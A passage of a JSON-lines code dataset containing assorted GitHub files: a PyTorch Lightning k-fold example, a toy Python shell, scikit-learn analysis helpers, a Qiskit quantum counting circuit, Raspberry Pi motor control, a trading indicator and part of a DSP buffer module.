MNIST(_DATASETS_PATH, transform=T.Compose([T.ToTensor(), T.Normalize(mean=(0.5,), std=(0.5,))]))\n self.train_dataset, self.test_dataset = random_split(dataset, [50000, 10000])\n\n def setup_folds(self, num_folds: int) -> None:\n self.num_folds = num_folds\n self.splits = [split for split in KFold(num_folds).split(range(len(self.train_dataset)))]\n\n def setup_fold_index(self, fold_index: int) -> None:\n train_indices, val_indices = self.splits[fold_index]\n self.train_fold = Subset(self.train_dataset, train_indices)\n self.val_fold = Subset(self.train_dataset, val_indices)\n\n def train_dataloader(self) -> DataLoader:\n return DataLoader(self.train_fold)\n\n def val_dataloader(self) -> DataLoader:\n return DataLoader(self.val_fold)\n\n def test_dataloader(self) -> DataLoader:\n return DataLoader(self.test_dataset)\n\n def __post_init__(cls):\n super().__init__()\n\n\n#############################################################################################\n# Step 3 / 5: Implement the EnsembleVotingModel module #\n# The `EnsembleVotingModel` will take our custom LightningModule and #\n# several checkpoint_paths. #\n# #\n#############################################################################################\n\n\nclass EnsembleVotingModel(LightningModule):\n def __init__(self, model_cls: Type[LightningModule], checkpoint_paths: List[str]) -> None:\n super().__init__()\n # Create `num_folds` models with their associated fold weights\n self.models = torch.nn.ModuleList([model_cls.load_from_checkpoint(p) for p in checkpoint_paths])\n self.test_acc = Accuracy()\n\n def test_step(self, batch: Any, batch_idx: int, dataloader_idx: int = 0) -> None:\n # Compute the averaged predictions over the `num_folds` models.\n logits = torch.stack([m(batch[0]) for m in self.models]).mean(0)\n loss = F.nll_loss(logits, batch[1])\n self.test_acc(logits, batch[1])\n self.log(\"test_acc\", self.test_acc)\n self.log(\"test_loss\", loss)\n\n\n#############################################################################################\n# Step 4 / 5: Implement the KFoldLoop #\n# From Lightning v1.5, it is possible to implement your own loop. There is several steps #\n# to do so which are described in detail within the documentation #\n# https://pytorch-lightning.readthedocs.io/en/latest/extensions/loops.html. #\n# Here, we will implement an outer fit_loop. It means we will implement subclass the #\n# base Loop and wrap the current trainer `fit_loop`. #\n#############################################################################################\n\n\n#############################################################################################\n# Here is the `Pseudo Code` for the base Loop. #\n# class Loop: #\n# #\n# def run(self, ...): #\n# self.reset(...) #\n# self.on_run_start(...) #\n# #\n# while not self.done: #\n# self.on_advance_start(...) #\n# self.advance(...) #\n# self.on_advance_end(...) #\n# #\n# return self.on_run_end(...) #\n#############################################################################################\n\n\nclass KFoldLoop(Loop):\n def __init__(self, num_folds: int, export_path: str) -> None:\n super().__init__()\n self.num_folds = num_folds\n self.current_fold: int = 0\n self.export_path = export_path\n\n @property\n def done(self) -> bool:\n return self.current_fold >= self.num_folds\n\n def connect(self, fit_loop: FitLoop) -> None:\n self.fit_loop = fit_loop\n\n def reset(self) -> None:\n \"\"\"Nothing to reset in this loop.\"\"\"\n\n def on_run_start(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Used to call `setup_folds` from the `BaseKFoldDataModule` instance and store the original weights of the\n model.\"\"\"\n assert isinstance(self.trainer.datamodule, BaseKFoldDataModule)\n self.trainer.datamodule.setup_folds(self.num_folds)\n self.lightning_module_state_dict = deepcopy(self.trainer.lightning_module.state_dict())\n\n def on_advance_start(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Used to call `setup_fold_index` from the `BaseKFoldDataModule` instance.\"\"\"\n print(f\"STARTING FOLD {self.current_fold}\")\n assert isinstance(self.trainer.datamodule, BaseKFoldDataModule)\n self.trainer.datamodule.setup_fold_index(self.current_fold)\n\n def advance(self, *args: Any, **kwargs: Any) -> None:\n \"\"\"Used to the run a fitting and testing on the current hold.\"\"\"\n self._reset_fitting() # requires to reset the tracking stage.\n self.fit_loop.run()\n\n self._reset_testing() # requires to reset the tracking stage.\n self.trainer.test_loop.run()\n self.current_fold += 1 # increment fold tracking number.\n\n def on_advance_end(self) -> None:\n \"\"\"Used to save the weights of the current fold and reset the LightningModule and its optimizers.\"\"\"\n self.trainer.save_checkpoint(osp.join(self.export_path, f\"model.{self.current_fold}.pt\"))\n # restore the original weights + optimizers and schedulers.\n self.trainer.lightning_module.load_state_dict(self.lightning_module_state_dict)\n self.trainer.strategy.setup_optimizers(self.trainer)\n self.replace(fit_loop=FitLoop)\n\n def on_run_end(self) -> None:\n \"\"\"Used to compute the performance of the ensemble model on the test set.\"\"\"\n checkpoint_paths = [osp.join(self.export_path, f\"model.{f_idx + 1}.pt\") for f_idx in range(self.num_folds)]\n voting_model = EnsembleVotingModel(type(self.trainer.lightning_module), checkpoint_paths)\n voting_model.trainer = self.trainer\n # This requires to connect the new model and move it the right device.\n self.trainer.strategy.connect(voting_model)\n self.trainer.strategy.model_to_device()\n self.trainer.test_loop.run()\n\n def on_save_checkpoint(self) -> Dict[str, int]:\n return {\"current_fold\": self.current_fold}\n\n def on_load_checkpoint(self, state_dict: Dict) -> None:\n self.current_fold = state_dict[\"current_fold\"]\n\n def _reset_fitting(self) -> None:\n self.trainer.reset_train_dataloader()\n self.trainer.reset_val_dataloader()\n self.trainer.state.fn = TrainerFn.FITTING\n self.trainer.training = True\n\n def _reset_testing(self) -> None:\n self.trainer.reset_test_dataloader()\n self.trainer.state.fn = TrainerFn.TESTING\n self.trainer.testing = True\n\n def __getattr__(self, key) -> Any:\n # requires to be overridden as attributes of the wrapped loop are being accessed.\n if key not in self.__dict__:\n return getattr(self.fit_loop, key)\n return self.__dict__[key]\n\n\nclass LitImageClassifier(ImageClassifier):\n def __init__(self) -> None:\n super().__init__()\n self.val_acc = Accuracy()\n\n def validation_step(self, batch: Any, batch_idx: int) -> None:\n x, y = batch\n logits = self.forward(x)\n loss = F.nll_loss(logits, y.long())\n self.val_acc(logits, y)\n self.log(\"val_acc\", self.val_acc)\n self.log(\"val_loss\", loss)\n\n\n#############################################################################################\n# Step 5 / 5: Connect the KFoldLoop to the Trainer #\n# After creating the `KFoldDataModule` and our model, the `KFoldLoop` is being connected to #\n# the Trainer. #\n# Finally, use `trainer.fit` to start the cross validation training. #\n#############################################################################################\n\nif __name__ == \"__main__\":\n seed_everything(42)\n model = LitImageClassifier()\n datamodule = MNISTKFoldDataModule()\n trainer = Trainer(\n max_epochs=10,\n limit_train_batches=2,\n limit_val_batches=2,\n limit_test_batches=2,\n num_sanity_val_steps=0,\n devices=2,\n accelerator=\"auto\",\n strategy=\"ddp\",\n )\n internal_fit_loop = trainer.fit_loop\n trainer.fit_loop = KFoldLoop(5, export_path=\"./\")\n trainer.fit_loop.connect(internal_fit_loop)\n trainer.fit(model, datamodule)","repo_name":"v-vietlq4/thesis","sub_path":"kfoldmultitask.py","file_name":"kfoldmultitask.py","file_ext":"py","file_size_in_byte":12803,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"8598735947","text":"def montar_matriz(n:int) -> list:\n m = []\n linha = []\n for i in range(n):\n linha = input().split(' ')\n m.append(linha)\n return m\n\ndef somar_x(m:list) -> int:\n num_linhas = len(m)\n num_colunas = len(m[0])\n soma = 0\n meio = round(((num_linhas-1)/2))\n for i in range(num_linhas):\n for j in range(num_colunas):\n if i == j and i != meio and j != meio:\n soma += int(m[i][j])\n for i in range(num_linhas):\n for j in range(num_colunas-1, -1, -1):\n if i + j == num_linhas - 1:\n soma += int(m[i][j])\n return soma\n\nnum = int(input())\nmatriz = montar_matriz(num)\nsoma = somar_x(matriz)\nprint(f'X = {soma}')","repo_name":"vini52/Exercicios_PI_Python","sub_path":"ece/lista4/lista4_3.py","file_name":"lista4_3.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"72504618932","text":"from colorama import Fore\nfrom Globals import SHELL_RUN,SHELL_ERROR,SHELL_STOP\nfrom multiprocessing import Process\nimport os\nimport shutil as sh\nimport shlex\nimport sys\n\n\ndef run(tokens):\n st = SHELL_RUN\n args = \"\"\n for i in range(1, len(tokens)):\n args += tokens[i]\n args += ' '\n try:\n os.system(args)\n except OSError as error:\n print(error)\n return SHELL_RUN\n\n\ndef move(name):\n dir = os.getcwd()\n try:\n if len(name) == 3:\n if name[1] and name[2]:\n sh.move(name[1], name[2])\n else:\n return SHELL_ERROR\n except OSError as error:\n print(error)\n return SHELL_ERROR\n return SHELL_RUN\n\n\ndef copy(name):\n dir = os.getcwd()\n try:\n if len(name) == 3:\n if name[1] and name[2]:\n if (os.path.isfile(os.path.join(dir, name[2]))):\n sh.copyfile(name[1], name[2])\n elif (os.path.isdir(os.path.join(dir, name[2]))):\n sh.copy(name[1], name[2])\n else:\n return SHELL_ERROR\n except OSError as error:\n print(error)\n return SHELL_ERROR\n\n return SHELL_RUN\n\n\ndef def_ls():\n dir = os.getcwd()\n list = os.listdir(dir)\n for filename in list:\n if (os.path.isdir(os.path.join(dir, filename)) and filename[0] != \".\"):\n print(Fore.BLUE + filename, end=\"\\t\")\n for filename in list:\n if (os.path.isfile(os.path.join(dir, filename)) and filename[0] != \".\"):\n print(Fore.WHITE + filename, end=\"\\t\")\n print()\n return SHELL_RUN\n\n\ndef def_pwd():\n dir = os.getcwd()\n print(dir)\n return SHELL_RUN\n\n\ndef del_dir(name):\n dir = os.getcwd()\n os.chdir(dir)\n try:\n if len(name) == 2:\n if name[1]:\n os.rmdir(name[1])\n print(\"Directory '%s' has been removed successfully\" % name[1])\n except OSError as error:\n print(error)\n print(\"Directory '%s' can not be removed\" % name[1])\n return SHELL_ERROR\n return SHELL_RUN\n\n\ndef make_folder(name):\n dir = os.getcwd()\n os.chdir(dir)\n try:\n if len(name) == 2:\n if name[1]:\n os.mkdir(name[1])\n print(\"Dirrecrory '%s' successfully created\" % name[1])\n except OSError as error:\n print(error)\n print(\"Directory '%s' can not be removed\" % name[1])\n return SHELL_ERROR\n return SHELL_RUN\n\n\ndef delete(name):\n try:\n if name[1]:\n os.remove(name[1])\n except OSError as error:\n print(error)\n return SHELL_ERROR\n return SHELL_RUN\n\n\ndef def_cd(name):\n try:\n if name[1]:\n os.chdir(name[1])\n except OSError as error:\n print(error)\n return SHELL_ERROR\n return SHELL_RUN\n\n\ndef execute(tokens):\n st = SHELL_RUN\n\n if tokens:\n if (tokens[0] == \"mkdir\"):\n st = make_folder(tokens)\n if (tokens[0] == \"rmdir\"):\n st = del_dir(tokens)\n if (tokens[0] == \"pwd\"):\n st = def_pwd()\n if (tokens[0] == \"cd\"):\n st = def_cd(tokens)\n if (tokens[0] == \"ls\"):\n st = def_ls()\n if (tokens[0] == \"cp\"):\n st = copy(tokens)\n if (tokens[0] == \"mv\"):\n st = move(tokens)\n if (tokens[0] == \"rm\"):\n st = delete(tokens)\n if (tokens[0] == \"exit\"):\n return SHELL_STOP\n ############################\n # bonus\n if (tokens[0] == \"run\"):\n pid = Process(target=run, args=(tokens, ))\n pid.start()\n pid.join()\n return SHELL_RUN\n\n\ndef cmd_token(command):\n return shlex.split(command)\n\n\ndef shell():\n status = SHELL_RUN\n\n while status == SHELL_RUN:\n sys.stdout.write(\"> \")\n sys.stdout.flush()\n command = sys.stdin.readline()\n tokens = cmd_token(command)\n status = execute(tokens)\n\n","repo_name":"KatyaProkhorchuk/python_review_1","sub_path":"shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":3945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32321905300","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon May 18 20:43:19 2020\n\n@author: luciabouza\n\"\"\"\n\nimport pandas as pd\nfrom sklearn import neighbors, metrics\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom sklearn.decomposition import PCA\nfrom sklearn.cluster import KMeans\nfrom sklearn.preprocessing import StandardScaler\n\n'preprocesamiento de los datos'\n# opción 1 = borro todas las tuplas con valores faltantes\n# opcion 2 = borro las tuplas con valores faltantes en la clase objetivo y al resto le pongo la media de la clase\n# opcion 3 = A todas las celdas con valores faltantes le coloco el valor de la media de la clase\ndef preprocesamiento(dataset, Opción):\n \n if (Opción == 1):\n # borro todas las tuplas con datos faltantes\n dataset.drop(dataset[(dataset['LIBCPRE_SELF'] < 0)].index, inplace= True)\n dataset.drop(dataset[(dataset['INCGROUP_PREPOST'] < 0)].index, inplace= True)\n dataset.drop(dataset[(dataset['DEM_AGEGRP_IWDATE'] < 0)].index, inplace= True)\n dataset.drop(dataset[(dataset['DEM_EDUGROUP'] < 0)].index, inplace= True)\n dataset.drop(dataset[(dataset['RELIG_IMPORT'] < 0)].index, inplace= True)\n dataset.drop(dataset[(dataset['DEM_RACEETH'] < 0)].index, inplace= True)\n elif (Opción == 2):\n # borro las tuplas con valores faltantes en la clase objetivo y al resto le pongo la media de la clase\n dataset.drop(dataset[(dataset['LIBCPRE_SELF'] < 0)].index, inplace= True)\n dataset.loc[(dataset['INCGROUP_PREPOST'] < 0), 'INCGROUP_PREPOST'] = 13\n dataset.loc[(dataset['DEM_AGEGRP_IWDATE'] < 0), 'DEM_AGEGRP_IWDATE'] = 8\n dataset.loc[(dataset['DEM_EDUGROUP'] < 0), 'DEM_EDUGROUP'] = 3\n dataset.loc[(dataset['RELIG_IMPORT'] < 0), 'RELIG_IMPORT'] = 1\n dataset.loc[(dataset['DEM_RACEETH'] < 0), 'DEM_RACEETH'] = 1\n else:\n # para los datos faltantes coloco la media\n dataset.loc[(dataset['LIBCPRE_SELF'] < 0), 'LIBCPRE_SELF'] = 4\n dataset.loc[(dataset['INCGROUP_PREPOST'] < 0), 'INCGROUP_PREPOST'] = 13\n dataset.loc[(dataset['DEM_AGEGRP_IWDATE'] < 0), 'DEM_AGEGRP_IWDATE'] = 8\n dataset.loc[(dataset['DEM_EDUGROUP'] < 0), 'DEM_EDUGROUP'] = 3\n dataset.loc[(dataset['RELIG_IMPORT'] < 0), 'RELIG_IMPORT'] = 1\n dataset.loc[(dataset['DEM_RACEETH'] < 0), 'DEM_RACEETH'] = 1\n \n\n'Plots de relaciones' \ndef RelacionesAtributoConIdeologia(dataset, soloRelevantes):\n labelsIdologia = [\"\", \"Extremadamente liberal\", \"Liberal\", \"Ligeramente liberal\", \"Moderado\", \"Ligeramente Conservador\", \"Conservador\", \"Extremadamente Conservador\"]\n paleta = sns.cubehelix_palette(8, start=.5, rot=-.75)\n \n sns.set()\n GraficoRaza = sns.catplot(x= 'DEM_RACEETH', y=\"LIBCPRE_SELF\", kind=\"boxen\", data= dataset, palette=paleta)\n GraficoReligion = sns.catplot(x= 'RELIG_IMPORT', y=\"LIBCPRE_SELF\", kind=\"boxen\", data= dataset, palette=paleta)\n GraficoEducacion = sns.catplot(x= 'DEM_EDUGROUP', y=\"LIBCPRE_SELF\", kind=\"boxen\", data= dataset, height=7, aspect=2, palette=paleta)\n GraficoEdad = sns.catplot(x= 'DEM_AGEGRP_IWDATE', y=\"LIBCPRE_SELF\", kind=\"boxen\", data= dataset, height=6, aspect=2, palette=paleta)\n \n GraficoRaza.set_axis_labels(\"Raza\", \"Ideología\")\n GraficoRaza.set_xticklabels([\"Blanco\", \"Negro\", \"Latino\", \"Otro\"])\n GraficoRaza.set_yticklabels(labelsIdologia)\n \n GraficoReligion.set_axis_labels(\"Importancia a la religión\", \"Ideología\")\n GraficoReligion.set_xticklabels([\"Si\", \"No\"])\n GraficoReligion.set_yticklabels(labelsIdologia)\n \n GraficoEducacion.set_axis_labels(\"Nivel educativo\", \"Ideología\")\n GraficoEducacion.set_xticklabels([\"Menos que liceo\", \"Liceo aprobado\", \"Terciario sin título\", \"Título de grado\", \"Título Maestría o doctorado\"])\n GraficoEducacion.set_yticklabels(labelsIdologia)\n \n GraficoEdad.set_axis_labels(\"Escala edad\", \"Ideología\") \n GraficoEdad.set_yticklabels(labelsIdologia)\n \n if not soloRelevantes:\n GraficoIngresos = sns.catplot(x= 'INCGROUP_PREPOST', y=\"LIBCPRE_SELF\", kind=\"boxen\", data= dataset, palette=paleta)\n GraficoIngresos.set_axis_labels(\"Escala ingresos\", \"Ideología\") \n GraficoIngresos.set_yticklabels(labelsIdologia)\n\ndef Relaciones2AtributosConIdeologia(dataset, soloRelevantes):\n labelsIdologia = [\"Ext. lib.\", \"Lib.\", \"Lig. lib.\", \"Mod.\", \"Lig. Cons.\", \"Cons.\", \"Extr. Cons.\"]\n paleta = sns.cubehelix_palette(8, start=.5, rot=-.75)\n \n sns.set() \n GraficoReligionIngresos = sns.catplot(x= 'RELIG_IMPORT', y=\"INCGROUP_PREPOST\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=6, aspect=2, palette=paleta)\n GraficoEducacionIngresos = sns.catplot(x= 'DEM_EDUGROUP', y=\"INCGROUP_PREPOST\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=7, aspect=2, palette=paleta)\n \n GraficoEducacionIngresos.set_axis_labels(\"Nivel educativo\", \"Escala ingresos\")\n GraficoEducacionIngresos.set_xticklabels([\"Menos que liceo\", \"Liceo aprobado\", \"Terciario sin título\", \"Título de grado\", \"Título Maestría o doctorado\"])\n \n GraficoEducacionIngresos._legend.set_title(\"Ideologia\")\n for t, l in zip(GraficoEducacionIngresos._legend.texts, labelsIdologia): t.set_text(l)\n \n GraficoReligionIngresos.set_axis_labels(\"Importancia a la religión\", \"Escala ingresos\")\n GraficoReligionIngresos.set_xticklabels([\"Si\", \"No\"])\n \n GraficoReligionIngresos._legend.set_title(\"Ideologia\")\n for t, l in zip(GraficoReligionIngresos._legend.texts, labelsIdologia): t.set_text(l)\n\n if not soloRelevantes:\n sns.catplot(x= 'DEM_RACEETH', y=\"INCGROUP_PREPOST\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=7, aspect=3, palette=paleta) \n sns.catplot(x= 'DEM_AGEGRP_IWDATE', y=\"INCGROUP_PREPOST\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=7, aspect=3,palette=paleta)\n sns.catplot(x= 'DEM_RACEETH', y=\"DEM_AGEGRP_IWDATE\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=6, aspect=2, palette=paleta)\n sns.catplot(x= 'RELIG_IMPORT', y=\"DEM_AGEGRP_IWDATE\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, palette=paleta)\n sns.catplot(x= 'DEM_EDUGROUP', y=\"DEM_AGEGRP_IWDATE\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=7, aspect=3, palette=paleta)\n sns.catplot(x=\"DEM_RACEETH\", y='DEM_EDUGROUP', kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, height=6, aspect=2, palette=paleta)\n sns.catplot(x=\"RELIG_IMPORT\", y= 'DEM_EDUGROUP', kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, palette=paleta)\n sns.catplot(x= 'RELIG_IMPORT', y=\"DEM_RACEETH\", kind=\"boxen\", hue=\"LIBCPRE_SELF\", data= dataset, palette=paleta)\n\n\n'PCA'\n# normalización dataset\ndef PreprocesamientoPCA(dataset):\n scaler = StandardScaler()\n scaler.fit(dataset) \n dataset = scaler.transform(dataset) \n\n\ndef PCA_impl(dataset, target):\n pca = PCA(n_components=2) #elijo obtener 2 componentes\n ComponentesPrincipales = pca.fit_transform(dataset.drop(target, axis=1)) #No considero la clase objetivo\n CP = pd.DataFrame(data = ComponentesPrincipales, columns = ['CP1', 'CP2']) # genero nuevo dataset con los componentes\n print('Porcentaje información de cada componente: {}'.format(pca.explained_variance_ratio_))\n return CP\n\n\n'KNN'\n#Predicciones KNN con algoritomo de Scikit-learn. También imprimo métricas\ndef KNN(train, test, target, k):\n ClassKNN = neighbors.KNeighborsClassifier(k, algorithm= 'auto')\n ClassKNN = ClassKNN.fit(train.drop(target, axis=1), train[target])\n arrayPrediccion = ClassKNN.predict(test.drop(target, axis=1))\n print(metrics.classification_report(test[target], arrayPrediccion))\n return arrayPrediccion\n \n \n'Clustering' \n# aplicación k-means de scikit. \ndef K_Means(dataset, clusters): \n arrayPrediccion = KMeans(n_clusters= clusters, init='k-means++').fit_predict(dataset)\n return arrayPrediccion\n\n# cálculo de clusters óptima con método del codo\ndef CantidadClustersOptima(dataset):\n # calculo incercia de cálculo con diferentes cantidades de clusters (del 1 al 10)\n wcss = []\n for i in range(1, 11):\n kmeans = KMeans(n_clusters= i, init='k-means++').fit(dataset)\n wcss.append(kmeans.inertia_)\n #grafico\n plt.plot(range(1, 11), wcss)\n plt.title('Método del codo')\n plt.xlabel('#Clusters')\n plt.ylabel('WCSS')\n\n\n","repo_name":"luciabouza/Machine-Learning-Methods","sub_path":"lab4 - Neural Networks/Metodos.py","file_name":"Metodos.py","file_ext":"py","file_size_in_byte":8384,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"21584482298","text":"import random\n\nfrom qiskit import QuantumCircuit\nimport numpy as np\n\n\ndef example_grover_iteration():\n \"\"\"Small circuit with 5/16 solutions\"\"\"\n # Do circuit\n qc = QuantumCircuit(4)\n # Oracle\n qc.h([2, 3])\n qc.ccx(0, 1, 2)\n qc.h(2)\n qc.x(2)\n qc.ccx(0, 2, 3)\n qc.x(2)\n qc.h(3)\n qc.x([1, 3])\n qc.h(2)\n qc.mct([0, 1, 3], 2)\n qc.x([1, 3])\n qc.h(2)\n # Diffuser\n qc.h(range(3))\n qc.x(range(3))\n qc.z(3)\n qc.mct([0, 1, 2], 3)\n qc.x(range(3))\n qc.h(range(3))\n qc.z(3)\n return qc\n\n\ndef qft(n):\n \"\"\"Creates an n-qubit QFT circuit\"\"\"\n circuit = QuantumCircuit(4)\n\n def swap_registers(circuit, n):\n for qubit in range(n // 2):\n circuit.swap(qubit, n - qubit - 1)\n return circuit\n\n def qft_rotations(circuit, n):\n \"\"\"Performs qft on the first n qubits in circuit (without swaps)\"\"\"\n if n == 0:\n return circuit\n n -= 1\n circuit.h(n)\n for qubit in range(n):\n circuit.cp(np.pi / 2 ** (n - qubit), qubit, n)\n qft_rotations(circuit, n)\n\n qft_rotations(circuit, n)\n swap_registers(circuit, n)\n return circuit\n\n\ndef get_cir(t, n):\n grit = example_grover_iteration().to_gate()\n grit.label = \"Grover\"\n cgrit = grit.control()\n qft_dagger = qft(4).to_gate().inverse()\n qft_dagger.label = \"QFT?\"\n qc = QuantumCircuit(n + t) # Circuit with n+t qubits and t classical bits\n\n # Initialize all qubits to |+>\n for qubit in range(t + n):\n qc.h(qubit)\n\n # Begin controlled Grover iterations\n iterations = 1\n for qubit in range(t):\n for i in range(iterations):\n qc.append(cgrit, [qubit] + [*range(t, n + t)])\n iterations *= 2\n\n # Do inverse QFT on counting qubits\n qc.append(qft_dagger, range(t))\n return qc\n\nqc = get_cir(2, 4)","repo_name":"MeU1024/qc-vis","sub_path":"benchmarks/Qcounting.py","file_name":"Qcounting.py","file_ext":"py","file_size_in_byte":1853,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"34865160251","text":"# 연결 요소의 개수\nimport sys\nsys.setrecursionlimit(10**6)\n\nN, M = map(int, sys.stdin.readline().split())\nanswer = 0\n\nmatrix = [[0] * (N+1) for i in range(N+1)]\nvisited = [0] * (N+1)\n\n\nfor _ in range(M):\n u, v = map(int, sys.stdin.readline().split())\n matrix[u][v] = matrix[v][u] = 1\n\ndef DFS(n):\n visited[n] = 1\n \n for i in range(1, N+1):\n if visited[i] == 0 and matrix[n][i] == 1:\n DFS(i)\n\nwhile True:\n if 0 in visited[1:]:\n DFS(visited[1:].index(0)+1)\n answer += 1\n else:\n break\n\nprint(answer)","repo_name":"DevDior/Baekjoon_Python","sub_path":"BAEKJOON/11724.py","file_name":"11724.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11222613233","text":"import RPi.GPIO as GPIO\nimport time\n\n# Set GPIO mode and warnings\nGPIO.setmode(GPIO.BOARD)\nGPIO.setwarnings(False)\n\n# Motor A pins\nenable_pin_A = 3\ninput_pin1_A = 33\ninput_pin2_A = 31\n\n# Motor B pins --- right\nenable_pin_B = 5\ninput_pin1_B = 35\ninput_pin2_B = 37\n\nprint(\"Setting up pins...\")\n# Set up GPIO pins\nGPIO.setup(enable_pin_A, GPIO.OUT)\nGPIO.setup(input_pin1_A, GPIO.OUT)\nGPIO.setup(input_pin2_A, GPIO.OUT)\n\nGPIO.setup(enable_pin_B, GPIO.OUT)\nGPIO.setup(input_pin1_B, GPIO.OUT)\nGPIO.setup(input_pin2_B, GPIO.OUT)\n\n# Create PWM objects for motor A and B\npwm_A = GPIO.PWM(enable_pin_A, 100) # Frequency = 100Hz\npwm_B = GPIO.PWM(enable_pin_B, 100) # Frequency = 100Hz\n\n# Start PWM with 0% duty cycle\npwm_A.start(10)\npwm_B.start(10)\n\n# Function to drive the motors\ndef drive_motors(speed_A, speed_B):\n # Set motor A direction and speed\n\n # Set motor speeds using PWM duty cycle\n pwm_A.ChangeDutyCycle(abs(speed_A))\n pwm_B.ChangeDutyCycle(abs(speed_B))\n \n if speed_A > 0:\n GPIO.output(input_pin1_A, True)\n GPIO.output(input_pin2_A, False)\n elif speed_A < 0:\n GPIO.output(input_pin1_A, False)\n GPIO.output(input_pin2_A, True)\n else:\n GPIO.output(input_pin1_A, False)\n GPIO.output(input_pin2_A, False)\n \n # Set motor B direction and speed\n if speed_B > 0:\n GPIO.output(input_pin1_B, True)\n GPIO.output(input_pin2_B, False)\n elif speed_B < 0:\n GPIO.output(input_pin1_B, False)\n GPIO.output(input_pin2_B, True)\n else:\n GPIO.output(input_pin1_B, False)\n GPIO.output(input_pin2_B, False)\n \n \n\n# Example usage: drive motors forward for 2 seconds\nprint(\"Driving Forward...\")\ndrive_motors(50, 50) # Set motor speed to 50%\ntime.sleep(2) # Drive for 2 seconds\ndrive_motors(0, 0) \ntime.sleep(2) # Stop motors\ndrive_motors(50, 25) # Set motor speed to 50%\ntime.sleep(2) \n# Cleanup GPIO\nGPIO.cleanup()\n","repo_name":"guruadp/self_docking_robot","sub_path":"lane detection/drive_motor.py","file_name":"drive_motor.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32822799354","text":"# This file is part of trade_bot.\n#\n# trade_bot is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# (at your option) any later version.\n#\n# trade_bot is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with trade_bot. If not, see .\n\nimport numpy as np\n\nfrom trade.function import Function, FunctionInput, ZScore\n\nclass EntropyEma(Function):\n def __init__(self, input_, period, zrange, alpha):\n self.__input = FunctionInput(input_)\n self.__period = FunctionInput(period)\n self.__zrange = FunctionInput(zrange)\n self.__alpha = FunctionInput(alpha)\n\n self.__zscore = FunctionInput(ZScore(input_, period))\n\n self.__entropy = 1.0\n self.__ema = 0\n\n Function.__init__(self)\n\n def _first(self):\n self.inputs.update()\n\n if len(self.__period) == 0 or int(self.__period.max) > len(self.__input): # XXX Add other inputs\n raise StopIteration\n\n self.inputs.sync({self.__input: int(self.__period.max)})\n\n self.__input.consume()\n period = int(min(self.__period.consume(), self.__period.max))\n self.__zrange.consume()\n self.__alpha.consume()\n\n self.__ema = np.mean(self.__input[self.__input.consumed - period:self.__input.consumed])\n self._values.append(self.__entropy)\n\n def _next(self):\n self.inputs.update()\n\n if len(self) >= len(self.__period) or len(self) + int(self.__period.max) > len(self.__input): # XXX\n raise StopIteration\n\n input_ = self.__input.consume()\n period = int(min(self.__period.consume(), self.__period.max))\n zrange = self.__zrange.consume()\n alpha = self.__alpha.consume()\n\n old_z = self.__zscore[self.__zscore.consumed - 1]\n z = self.__zscore.consume()\n\n action = max((abs(z) - abs(old_z)) / zrange, 0)\n if action > 0:\n self.__entropy = max(self.__entropy - action, 0)\n else:\n self.__entropy = 1 - (1 - self.__entropy) * alpha\n\n weight = 2 / (period + 1)\n\n #self._values.append((input_ - self._values[-1]) * weight + self._values[-1])\n self._values.append(self.__entropy)\n","repo_name":"cdbfoster/trade_bot","sub_path":"trade/function/_entropy_ema.py","file_name":"_entropy_ema.py","file_ext":"py","file_size_in_byte":2579,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"5633527430","text":"'''\r\n.. module:: tdt.dsp_buffer\r\n :synopsis: Module for handling I/O with the buffers on the DSP devices\r\n.. moduleauthor:: Brad Buran \".format(self.circuit, self.data_tag,\r\n self.write_index, self.size)\r\n\r\n def clear(self):\r\n '''\r\n Set buffer to zero\r\n\r\n Due to a bug in the TDT ActiveX library, RPco.X.ZeroTag does not work\r\n on certain hardware configurations. TDT (per conversation with Chris\r\n Walters and Nafi Yasar) have indicated that they will not fix this bug.\r\n They have also indicated that they may deprecate ZeroTag in future\r\n versions of the ActiveX library.\r\n\r\n As a workaround, this method zeros out the buffer by writing a stream\r\n of zeros.\r\n '''\r\n zeros = np.zeros(self.n_samples)\r\n self._iface.WriteTagV(self.data_tag, 0, zeros)\r\n\r\n def _acquire(self, trigger, end_condition, samples=None, trials=1,\r\n intertrial_interval=0, poll_interval=0.1, reset_read=True):\r\n '''\r\n Convenience function to handle core logic of acquisition. Use\r\n `DSPBuffer.acquire` or `DSPBuffer.acquire_samples` instead.\r\n '''\r\n acquired_data = []\r\n for i in range(trials):\r\n if reset_read:\r\n self.reset_read(0)\r\n 